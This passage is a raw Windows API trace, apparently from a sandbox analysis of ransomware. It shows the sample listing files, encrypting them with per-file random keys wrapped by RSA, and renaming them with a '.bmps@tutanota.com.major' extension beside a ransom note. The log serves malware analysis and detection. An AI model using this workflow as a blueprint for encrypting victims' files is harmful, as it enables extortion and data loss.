dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.408] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.408] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.408] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="0RITqtVWafvKCabSu6X5kOYDSSaEzGA+WmbC66J+uSpCP7p3nQWSUGbrWBOw8sd0\n9azxwrTzKSLjK7O58T2h2AyyTrtfw7CG3KLRXa/iKsd8r5IX8ZylSS+VOgeh5KLg\nqIot9O0gTlpnxE4if9fhsEKzz4HJgK35JAa6UsgYstvHiIgAJMtNyZLOJdWAZ0io\nq0cvbvAQkXv5cL0x8xSSqUFx2I6NCesgl7Fp488o3nTGPw5c7bRmaJhdny3VW87H\n2liv8wLPhx2uHNxFe0k4QonFGwk1ztyB6fxYJ6vnre+Pu+KG4XEzUfmF5G3HC6J4\nDFwy3V49mhnpYmft9YMOEg==\n", pcchString=0x2e3f9a8) returned 1 [0132.408] WriteFile (in: hFile=0x474, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.408] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.408] WriteFile (in: hFile=0x474, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.408] CloseHandle (hObject=0x474) returned 1 [0132.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.409] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0132.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0132.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0132.411] FindFirstFileW (in: lpFileName="\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xff7c57ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a30d0 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3550 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3550 | out: hHeap=0x570000) returned 1 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0132.412] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xff7c57ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0132.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] GetLastError () returned 0x0 [0132.412] SetLastError (dwErrCode=0x0) [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0132.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e90 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e90 | out: hHeap=0x570000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0132.413] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.413] GetLastError () returned 0x0 [0132.413] SetLastError (dwErrCode=0x0) [0132.413] GetLastError () returned 0x0 [0132.413] SetLastError (dwErrCode=0x0) [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.413] GetLastError () returned 0x0 [0132.413] SetLastError (dwErrCode=0x0) [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0132.413] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0132.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.413] GetLastError () returned 0x0 [0132.413] SetLastError (dwErrCode=0x0) [0132.413] GetLastError () returned 0x0 [0132.413] SetLastError (dwErrCode=0x0) [0132.413] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0132.414] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0132.414] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0132.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0132.414] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.414] GetLastError () returned 0x0 [0132.414] SetLastError (dwErrCode=0x0) [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.415] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7c57ac, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff7c57ac, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff7c57ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.415] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.415] GetLastError () returned 0x0 [0132.415] SetLastError (dwErrCode=0x0) [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0132.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0132.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0132.416] FindNextFileW (in: hFindFile=0x5a30d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0132.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0132.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.416] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.416] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd", dwFileAttributes=0x80) returned 1 [0132.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0132.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0132.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0132.417] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0132.417] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=307) returned 1 [0132.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x133) returned 0x5c1e98 [0132.417] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x133) returned 0x5b5a90 [0132.417] ReadFile (in: hFile=0x478, lpBuffer=0x5c1e98, nNumberOfBytesToRead=0x133, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1e98*, lpNumberOfBytesRead=0x2e3f9b4*=0x133, lpOverlapped=0x0) returned 1 [0132.418] SetFilePointer (in: hFile=0x478, lDistanceToMove=-307, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.418] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x133, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x133, lpOverlapped=0x0) returned 1 [0132.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0132.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.418] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x133 [0132.418] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.418] WriteFile (in: hFile=0x478, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.418] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.418] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.419] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.419] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="p3G7lX3F3Mr8jkFQHV9OFaKBUgRBWZN+TTcYhnwj/OW1Y0xZkQR4GwUByJKzNint\nBhAjHbcZvtl1DMBzFVik7QQB5CWbDzECQvkIx4wK31KrtS7e2frG/R5rlgzvGbL0\n5g+k2mlBzoi4+rjh06iL6aJ8Spv5gxVmaSdKsyzMLca750skrnO9dJo+OSqh4khS\nqoGBMOTVVup3k2xAZzv2R8JbSfkRZbh8aTgcUys1tZqr2WSKEdy7c3AqbY8SmF5S\nfxVe7HLzavuBfu15DQkhG8Jy42rMyW65lyXNhERYGOx9rPL8ohXAUBVEfnIFEmTr\nf3jv1WfdNSLbZO58CHv6uQ==\n", pcchString=0x2e3f9a8) returned 1 [0132.419] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.419] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.419] WriteFile (in: hFile=0x478, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.419] CloseHandle (hObject=0x478) returned 1 [0132.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.420] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0132.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.422] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.422] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd", dwFileAttributes=0x80) returned 1 [0132.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0132.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.423] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0132.423] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=74) returned 1 [0132.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4a) returned 0x5bed68 [0132.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4a) returned 0x5befd0 [0132.423] ReadFile (in: hFile=0x478, lpBuffer=0x5bed68, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bed68*, lpNumberOfBytesRead=0x2e3f9b4*=0x4a, lpOverlapped=0x0) returned 1 [0132.424] SetFilePointer (in: hFile=0x478, lDistanceToMove=-74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.424] WriteFile (in: hFile=0x478, lpBuffer=0x5befd0*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5befd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4a, lpOverlapped=0x0) returned 1 [0132.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0132.424] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4a [0132.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.424] WriteFile (in: hFile=0x478, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.424] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: 